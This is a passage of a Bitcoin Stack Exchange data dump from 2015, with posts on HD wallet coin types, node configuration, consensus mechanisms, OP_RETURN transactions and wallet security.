204&lt;/code&gt;&#xA;7rrHic4Nzr8iMSfaSFMSXvKgTb7Sw3FHwevGsnD2vYwU5btpXRT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uncompressed&lt;/strong&gt; public address:&#xA;&lt;code&gt;% echo 'very complex gibberish' | bx base16-encode | bx sha256 | bx hd-new | bx hd-private -d -i 44 | bx hd-private -d -i 5 | bx hd-private -d -i 0 | bx hd-private -i 0 | bx hd-private -i 0 | bx hd-to-ec | bx ec-to-public -u | bx ec-to-address -v 76&lt;/code&gt;&#xA;XiEsuvDERQJT5S9RF7qcKGrm4omMsJ1PPg&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="2306" LastEditDate="2015-08-10T22:41:26.643" LastActivityDate="2015-08-10T22:41:26.643" Title="What is the BIP-44 Coin Type for Dash?" Tags="|bip32-hd-wallets|bip|" AnswerCount="1" CommentCount="0" ClosedDate="2020-06-15T01:01:54.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="38540" PostTypeId="2" ParentId="38539" CreationDate="2015-07-11T12:31:20.807" Score="1" Body="&lt;p&gt;Yes, Dash should continue using the same HD index as Darkcoin. Only the coin name is changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;5h&lt;/code&gt; is the correct HD index for Dash. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-07-11T14:31:58.093" LastActivityDate="2015-07-11T14:31:58.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38541" PostTypeId="2" ParentId="38535" CreationDate="2015-07-11T14:46:16.293" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If the parent can't be verified, shouldn't it be discarded immediately?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you risk needing to redownload that transaction. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the best practices here? Just wait up until N seconds and then discard?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think what bitcoin does, adding it to a size-limited cache, works well in practice. You just have to make sure that when you receive the parent you broadcast &lt;code&gt;inv&lt;/code&gt;s for both the parent and the child (assuming the child is still in the size-limited cache).&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-11T14:46:16.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38542" PostTypeId="2" ParentId="1226" CreationDate="2015-07-11T15:41:11.400" Score="1" Body="&lt;p&gt;I have read a lot about bitcoin,and It seems by design, That as popularity and usefulness grows that the miners will be paid by transactions fees equal x number of bits by continued mining for the last infinite bitcoin which will never be reached.........by design to go on forever.&lt;/p&gt;&#xA;" OwnerUserId="27346" LastEditorUserId="2306" LastEditDate="2015-07-11T16:06:18.477" LastActivityDate="2015-07-11T16:06:18.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38543" PostTypeId="1" AcceptedAnswerId="38545" CreationDate="2015-07-11T16:16:25.010" Score="1" ViewCount="173" Body="&lt;p&gt;The file 'vanitygen.c' has a constant &quot;BN_ULONG rekey_max&quot;. I suppose it denotes the value until which vanitygen keeps using the same RNG seed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value is lowered to about, say 100K, will it affect the quality of particular prefix searches? What is the best optimal value to tune it up?&lt;/p&gt;&#xA;" OwnerUserId="19599" LastActivityDate="2015-07-11T16:24:44.027" Title="Vanitygen Rekey_max" Tags="|bitcoind|vanitygen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38545" PostTypeId="2" ParentId="38543" CreationDate="2015-07-11T16:24:44.027" Score="0" Body="&lt;p&gt;It's at best irrelevant to the search, cranking up the re-key interval too high will end up reducing your performance rather than increasing it. There would really be no problem choosing a single seed for each thread and just incrementing for all eternity just due to the sheer number of possible private keys. No particular area of the key space will get you better results due to the output being passed through ECDSA and two chained hash functions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main time you would worry about re-keying while doing a brute force search is if you were making multiple keys, as in that case revealing one (intentionally or accidentally) indirectly reveals the others. With one key in hand and the knowledge that you simply incremented from it a third party could just roll forwards until they hit other ones you would have made as well. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-11T16:24:44.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38546" PostTypeId="2" ParentId="38537" CreationDate="2015-07-11T16:28:25.023" Score="5" Body="&lt;p&gt;Bitcoin Core allows you to bind a separate listening socket with specific white listing properties. It has enhanced transaction relaying for use as a gateway and an immunity to banning for bad behavior. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  -whitebind=&amp;lt;addr&amp;gt;&#xA;       Bind to given address and whitelist peers connecting to it. Use&#xA;       [host]:port notation for IPv6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command can be used in conjunction with &lt;code&gt;whiteconnections&lt;/code&gt; to reserve some of the &lt;code&gt;maxconnections&lt;/code&gt; limit for connections to the whitelist socket. &lt;code&gt;maxconnections=128&lt;/code&gt; and &lt;code&gt;whiteconnections=4&lt;/code&gt; will use 8 for outgoing connections, allow a maximum of 116 incoming connections, and reserve 4 additional connections for incoming clients on the whitelisted port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you would bind the whitelist socket to an internal port, and then point LAN nodes to it. This is also useful for attaching axillary programs like &lt;a href=&quot;http://p2pool.in&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt; or the &lt;a href=&quot;http://bitcoinrelaynetwork.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Relay Network&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-15T21:31:40.780" LastActivityDate="2015-07-15T21:31:40.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38547" PostTypeId="1" CreationDate="2015-07-11T17:15:05.050" Score="1" ViewCount="746" Body="&lt;p&gt;my first question here, so please be patient with me. Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q: Why exactly are POW/POS mechanisms needed to secure the blockchain (in bitcoin as well as in other alts)? + what is terribly wrong with my example below and why ? (I feel like I am missing something very important here). Thank you very much.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean: &#xA;- why the block verifying and signing party cannot be just randomly selected node, that would every X minutes put new transactions into the block, calculate hash of block and sign it by its public key, broadcast it to other nodes for inclusion in the blockchain and collect some the reward ? &lt;em&gt;(provided nodes on the network are able to reach some kind of consensus on selected random node - I know it is not easy task - but let's assume it can be done for a moment)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, possible attacks on the network are still there, but it is same as with POW/POS, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if node is selected 'truly randomly' (I know, I know), the attacker would need to have just pure luck if he wants to fork the chain with his crafted transactions, because he does not know when he will have the privilege to sign the block... &lt;/li&gt;&#xA;&lt;li&gt;Or he would need to increase its share of nodes in the network significantly (same with 51% attack in POW/POS)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Above can be (?) mitigated to some degree with including check points in every N blocks in the best chain and having the rule of including e.g. hash of N-x block into recent transactions. (at least from what I understand, that is what some POS coins do)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why there needs to be POW/POS?&lt;/strong&gt; (electricity burning/(locked) coins in wallet staking)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for putting my thought process back on track.&lt;/p&gt;&#xA;" OwnerUserId="27342" LastActivityDate="2015-07-11T20:43:12.137" Title="Why is POW/POS absolutely necessary to run public distributed ledger?" Tags="|proof-of-work|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38548" PostTypeId="2" ParentId="38547" CreationDate="2015-07-11T17:43:17.583" Score="3" Body="&lt;p&gt;You can't do this due to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Sybil_attack&quot; rel=&quot;nofollow&quot;&gt;Sybil Problem&lt;/a&gt;. There is no way of proving a node is an individual participant in the system, you can't prove that a node existed at any point in time (or didn't), and there's no source of random numbers at all in the system which can't be influenced or altered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of Work is a side step to having potentially clones participants in a system vote on validity, it replaces this is with a system in which members of the network verifiably destroy real world resources in order to create additions to the ledger. By adding a real world cost to producing alternate histories, it becomes infeasible for people to modify the history of the system and present it as the truth to anybody else. When faced with multiple choices, participants have a tie breaker by simply comparing the relative amount of resources destroyed and picking the most destructive one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your described model:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you know that the network is really of this size?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you prove to a third party joining the network that you are not all the participants in the network pretending to be other people?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is to prevent any node in the network signing many alternate histories in which people do and do not get paid, and using this to trick people out of money?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The proposed system breaks down as soon as you introduce malice, which is something cryptocurrencies must be design to defend against. Millions of fake nodes, lying, cheating, and denial of service attacks are all things the system must expect to encounter.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;at least from what I understand, that is what some POS coins do&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Proof of Stake cryptocurrencies are usually completely centralized, due to the behavior you're describing here. Faced with the knowledge that PoS is not a method of distributed consensus they use centralized control in an attempt to ensure that the chain is coherent. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-11T20:43:12.137" LastActivityDate="2015-07-11T20:43:12.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38549" PostTypeId="1" CreationDate="2015-07-11T21:13:58.823" Score="1" ViewCount="741" Body="&lt;p&gt;I am facing two problems below,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is that I am trying to broadcast transaction which have OP_RETURN but blockchain.info continuously rejecting it, though I have broadcast it using bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second is that what is the best way to insert an OP_RETURN data into the raw transaction. Currently I am following this method ---&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25224/what-is-a-step-by-step-way-to-insert-data-in-op-return/36439#36439&quot;&gt;What is a step by step way to insert data in OP_RETURN?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i know this is not a standard way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using php and bitcoind server!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25002" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-09-14T12:01:05.540" Title="Broadcasting an OP_RETURN transaction" Tags="|bitcoind|bitcoin-core|php|op-return|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38550" PostTypeId="2" ParentId="4376" CreationDate="2015-07-11T21:15:12.157" Score="1" Body="&lt;p&gt;Just create a new &lt;a href=&quot;https://99bitcoins.com/best-2015-bitcoin-exchanges-bitcoin-exchange-comparison-review/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin exchange comparison chart&lt;/a&gt; on 99Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="4348" LastActivityDate="2015-07-11T21:15:12.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38551" PostTypeId="1" CreationDate="2015-07-11T22:36:05.987" Score="2" ViewCount="1174" Body="&lt;p&gt;I am trying to have &lt;a href=&quot;https://mmonit.com/monit/documentation/monit.html&quot; rel=&quot;nofollow&quot;&gt;Monit&lt;/a&gt; monitor my bitcoind process because it crashes a lot ever since the spamming has begun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in my monitrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;check process bitcoind with pidfile /home/ubuntu/.bitcoin/bitcoind.pid&#xA;    start program = &quot;/usr/bin/bitcoind&quot; as uid &quot;ubuntu&quot; and gid &quot;ubuntu&quot;&#xA;    stop program = &quot;/usr/bin/bitcoin-cli -rpcconnect=127.0.0.1 -rpcport=8332 -rpcuser=bitcoinrpc -rpcpassword=mypasswordhere stop&quot; as uid &quot;ubuntu&quot; and gid &quot;ubuntu&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When bitcoind dies, monit does detect it, but it doesn't start it as indicated in monit.log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[UTC Jul 11 22:26:32] error    : 'bitcoind' process is not running&#xA;[UTC Jul 11 22:26:32] info     : 'bitcoind' trying to restart&#xA;[UTC Jul 11 22:26:32] info     : 'bitcoind' start: /usr/bin/bitcoind&#xA;[UTC Jul 11 22:27:02] error    : 'bitcoind' failed to start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are the lines from my debug.log just before the crash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-07-09 19:22:26 socket recv error Connection timed out (110)&#xA;2015-07-09 19:23:30 dumpaddr thread stop&#xA;2015-07-09 19:23:30 opencon thread interrupt&#xA;2015-07-09 19:23:30 addcon thread interrupt&#xA;2015-07-09 19:23:30 msghand thread interrupt&#xA;2015-07-09 19:23:30 net thread interrupt&#xA;2015-07-09 19:23:30 Shutdown: In progress...&#xA;2015-07-09 19:23:30 StopNode()&#xA;2015-07-09 19:23:30 Shutdown: done&#xA;2015-07-09 19:27:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is another debug.log before a different crash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-07-09 16:12:09 socket send error Broken pipe (32)&#xA;2015-07-09 16:12:39 ping timeout: 1200.192793s&#xA;2015-07-09 16:22:17 socket recv error Connection reset by peer (104)&#xA;2015-07-09 16:24:28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there aren't any consistent messages before crashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run &quot;/usr/bin/bitcoind&quot; from console it starts fine.  I am on ubuntu.  I installed bitcoin through the package manager.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be greatly appreciated.  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="15609" LastEditorUserId="2306" LastEditDate="2015-07-11T23:51:35.620" LastActivityDate="2015-07-11T23:51:35.620" Title="Trying to restart bitcoind when it dies" Tags="|bitcoind|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="38552" PostTypeId="2" ParentId="38549" CreationDate="2015-07-12T01:35:39.577" Score="2" Body="&lt;p&gt;blockchain.info's pushtx feature will reject transactions with OP_RETURN in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to try my tool &lt;a href=&quot;https://github.com/kaykurokawa/pushtx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kaykurokawa/pushtx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-07-12T01:35:39.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38553" PostTypeId="2" ParentId="11317" CreationDate="2015-07-12T03:40:06.410" Score="-2" Body="&lt;p&gt;Currently, in the year of 2015, the month of July, and the pool of GHash.io, (which is currently the largest mining pool in the world,) the number of shares amount to ~25 BILLION. We, with the speed of ~6.40 PHashs/s, do an entire block in anywhere from a few hours, to several days, depending on the difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is the answer you are looking for, but this may help you put things into perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sincerest of luck to you good sir.&lt;/p&gt;&#xA;" OwnerUserId="27358" LastActivityDate="2015-07-12T03:40:06.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38554" PostTypeId="2" ParentId="38512" CreationDate="2015-07-12T10:32:25.257" Score="0" Body="&lt;p&gt;128 bits is generally considered more than enough -- 132 bits is certainly sufficient.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-07-12T10:32:25.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38555" PostTypeId="1" CreationDate="2015-07-12T13:04:26.790" Score="0" ViewCount="871" Body="&lt;p&gt;I did a transaction from my bitcoin core wallet.  The transaction 6263452f635713e60f83d45fe41b1c9ba3b5f5e3af664778bf18a05b15cfde06 has not confirmed, and it is now over 48 hours since I made the transaction.   Although blockchain.info will show the transaction (as unconfirmed) if I enter the transaction ID directly, it no longer shows it on the &quot;unconfirmed transactions&quot; page, &lt;a href=&quot;https://blockchain.info/unconfirmed-transactions&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/unconfirmed-transactions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do now?  I am a complete newbie - this is my first transaction, and this has been very frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="27365" LastActivityDate="2015-07-12T16:55:11.800" Title="Transaction never confirmed over 2 days" Tags="|transactions|bitcoin-core|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2015-07-13T00:51:13.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="38556" PostTypeId="2" ParentId="38555" CreationDate="2015-07-12T13:59:22.557" Score="-1" Body="&lt;p&gt;Your transaction should be confirming shrtly(within 1 day)You did not send the appropriate miner fee which is why the transaction is slower to confirm. Do not worry tho it will confirm at some point tody:)&lt;/p&gt;&#xA;" OwnerUserId="27366" LastActivityDate="2015-07-12T13:59:22.557" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38557" PostTypeId="2" ParentId="8923" CreationDate="2015-07-12T16:10:09.357" Score="17" Body="&lt;p&gt;The blockchain sizes of &lt;strong&gt;Bitcoin&lt;/strong&gt;, &lt;strong&gt;Litecoin&lt;/strong&gt;, &lt;strong&gt;Dash&lt;/strong&gt;, &lt;strong&gt;Dogecoin&lt;/strong&gt;, &lt;strong&gt;Peercoin&lt;/strong&gt; and &lt;strong&gt;Namecoin&lt;/strong&gt; are listed &lt;a href=&quot;https://bitinfocharts.com/&quot;&gt;here at https://bitinfocharts.com/&lt;/a&gt;&#xA;(scroll down to &lt;em&gt;Blockchain Size&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of today (2015-07-12) the sizes are (sorted by market capitalization):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin             Litecoin          Dash              Dogecoin          Peercoin          Namecoin&#xA;44.73 GB            4.64 GB           1.01 GB           11.41 GB          0.4191 GB         2.64 GB&#xA;$4,477,078,707 USD  $209,054,841 USD  $23,217,866 USD   $20,686,200 USD   $15,897,328 USD   $9,888,883 USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that Dogecoin, although very new, has a very big chain already, where Peercoin has by far the smallest.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Your question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;On my hard disk the &lt;code&gt;.bitcoin&lt;/code&gt; directory uses 45 &lt;a href=&quot;https://en.wikipedia.org/wiki/Binary_prefix#IEC_standard_prefixes&quot;&gt;GiB&lt;/a&gt; = 48 GB.&lt;/p&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="11997" LastEditDate="2015-07-13T13:58:14.700" LastActivityDate="2015-07-13T13:58:14.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38561" PostTypeId="1" AcceptedAnswerId="38562" CreationDate="2015-07-12T18:30:02.807" Score="0" ViewCount="453" Body="&lt;p&gt;I have a question here. Lets says we have Nick, who has maybe 1 BTC on his account and Bob who has 0 BTC on his account. Can Nick transfer 10 BTC to Bob's account? I assume no. But what if he creates a pool of miners, each one being a computer (or special bitcoin mining chip) with modified software, which says that every transaction of him is valid? Can he then somehow force his transaction to be checked by the specified it thus sending fake bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="27372" LastActivityDate="2015-07-12T23:09:00.263" Title="Faking transaction?" Tags="|security|" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-13T12:54:40.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="38562" PostTypeId="2" ParentId="38561" CreationDate="2015-07-12T18:53:11.433" Score="3" Body="&lt;p&gt;No matter of hashpower can allow you to create invalid transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any block which spends outputs which do not actually exist is invalid, and any peer sending an invalid block is dropped from the network for wasting  time. All block contents are checked by every node in the network. Miners only order transactions, they don't provide any assurance of validity. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-12T23:09:00.263" LastActivityDate="2015-07-12T23:09:00.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38565" PostTypeId="1" AcceptedAnswerId="38566" CreationDate="2015-07-12T23:33:55.610" Score="2" ViewCount="291" Body="&lt;p&gt;On bitcoin-qt, some peers are called &quot;Out&quot; and some are &quot;In&quot;. Is there any difference besides who initiated the connection?&lt;/p&gt;&#xA;" OwnerUserId="23102" LastActivityDate="2015-07-12T23:53:20.137" Title="Is there a difference between &quot;In&quot; and &quot;Out&quot; peer connections?" Tags="|bitcoin-core|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38566" PostTypeId="2" ParentId="38565" CreationDate="2015-07-12T23:43:48.997" Score="2" Body="&lt;p&gt;No, connection directionality doesn't affect peer behavior in Bitcoin P2P at all. The same rules for relaying inventory, and punishments for misbehavior apply to both. The software will avoid making outgoing connections to peers in close proximity in the IP address space to one another, but this does not apply to incoming connections where many connections from even the same IP address are allowed.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-12T23:53:20.137" LastActivityDate="2015-07-12T23:53:20.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38567" PostTypeId="1" CreationDate="2015-07-13T02:09:10.880" Score="2" ViewCount="87" Body="&lt;p&gt;If the bitcoin protocol were changed so that the merkle root from block N-1 were replaced in block N by the two roots of blocks N-2 and N-3, then it would become possible to mine 2 blocks at a time in parallel and increase the block frequency compared to the time each block took to propagate. Each block would still get confirmed by 6 of the following 7 blocks. The block size variance could be controlled by requiring that transactions with odd hashes go into odd-numbered blocks and vice-versa. What would be the limitations of this variant protocol compared to the existing Bitcoin protocol, assuming nobody considered one confirmation to be much better than zero?&lt;/p&gt;&#xA;" OwnerUserId="20920" LastActivityDate="2021-03-04T11:36:45.997" Title="What if block N were based not on N-1 but on both N-2 and N-3?" Tags="|blockchain|altcoin|blockchain-fork|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38568" PostTypeId="2" ParentId="38567" CreationDate="2015-07-13T07:12:39.413" Score="1" Body="&lt;p&gt;Objections that come to mind initially, I'm sure there are more:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't want to split the hashing power into two halves because that would make it easier for an adversary to get 51% of that halve: 25% of the total or even less if the halves are not exactly 50-50.&lt;/p&gt;&#xA;&lt;p&gt;The idea behind Proof of Work is to concentrate as much work as possible behind one and the same chain and make that the level-to-beat by an attacker.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you force odd transactions into odd blocks (and vice versa) then you still have 10 minutes block times for all transactions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-07-13T07:12:39.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38569" PostTypeId="1" CreationDate="2015-07-13T07:38:42.617" Score="1" ViewCount="98" Body="&lt;p&gt;I am developing android application using https ://blockchain.info/api. i am having problem to understand the Keywords used in result for https: //blockchain.info/address/$bitcoin_address?format=json.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one tell me about the Keys hilighted. I want to show user Transaction history. Any Documentation reference will be helpful. I have also read &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Protocol_documentation&lt;/a&gt; but it was not help full.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MA5Y8.png&quot; alt=&quot;enter image description here&quot;&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="27301" LastEditorUserId="14887" LastEditDate="2015-08-31T06:33:08.287" LastActivityDate="2015-08-31T06:33:08.287" Title="BitCoin Api, Result Keys,BitCoin Protocol documentation" Tags="|transactions|api|blockchain.info|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38570" PostTypeId="1" CreationDate="2015-07-13T08:03:28.190" Score="1" ViewCount="528" Body="&lt;p&gt;Married/multi-signature wallets and pluggable signers&#xA;How to create Hd Wallet using bitcoinj&#xA;I have tried but not understand i got the error in this&#xA;wallet.addFollowingAccountKeys(Lists.newArrayList(spouseKey), 2);&lt;/p&gt;&#xA;" OwnerUserId="27079" LastActivityDate="2015-07-13T08:03:28.190" Title="How to create HD Wallet using bitcoinj" Tags="|bitcoinj|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38571" PostTypeId="1" CreationDate="2015-07-13T10:59:51.603" Score="1" ViewCount="1119" Body="&lt;p&gt;I've been learning to create bitcoin transactions for 3 weeks now, but keep paying the entire &lt;strong&gt;unspent_outputs&lt;/strong&gt; - &lt;strong&gt;inputs&lt;/strong&gt; as fees, even if the transacted amount was like 1/100 th of the outputs. How do I put the unspent output back into the output address ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      var utxo = {&#xA;                   &quot;txId&quot; : &quot;&quot;,&#xA;                   &quot;outputIndex&quot; : &quot;&quot;,&#xA;                   &quot;address&quot; : &quot;&quot;,&#xA;                   &quot;script&quot; : &quot;&quot;,&#xA;                   &quot;satoshis&quot; : &quot;&quot;&#xA;                 }&#xA;&#xA;       var transaction = new bitcore.Transaction()&#xA;       .from(utxo)&#xA;       .to(address, satoshis)&#xA;       .sign(privateKeyWIF);&#xA;&#xA;      var tx = transaction.toString()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27389" LastEditorUserId="5406" LastEditDate="2015-07-13T13:18:24.840" LastActivityDate="2015-07-13T13:42:51.493" Title="How to return change (utxo - inputs) to output address?" Tags="|transactions|raw-transaction|change|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38574" PostTypeId="2" ParentId="38478" CreationDate="2015-07-13T12:48:44.420" Score="1" Body="&lt;p&gt;Hm. Rather strange question you ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all: it depends mostly on the infrastructure you use for your bitcoin-client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your OperatingSystem is compromised, you probably can't guarantee security of your privateKey at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoinclient supports a very strong encryption of the wallet (and ofc the private Key) since like 2 years natively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess if you are paranoid and want extra security, use a VirtualMachine, install some hardened Linux-OS (DebianStable?), there make a TrueCrypt-Container with a hard password and install your Bitcoinclient there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ofcourse, as mentioned earlier, you can't be more secure than making an offline-wallet. Remebering your key instead of writing it down could also serve as the absolute security feature. - but i guess you don't want to go that far? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i saved my keys in a TrueCryp-container encrypted with sha512 and used a strong password - after this, backup copies of this container wherever you want, so you don't lose it. sha512 is not even crackable for the NSA.&lt;/p&gt;&#xA;" OwnerUserId="19459" LastActivityDate="2015-07-13T12:48:44.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
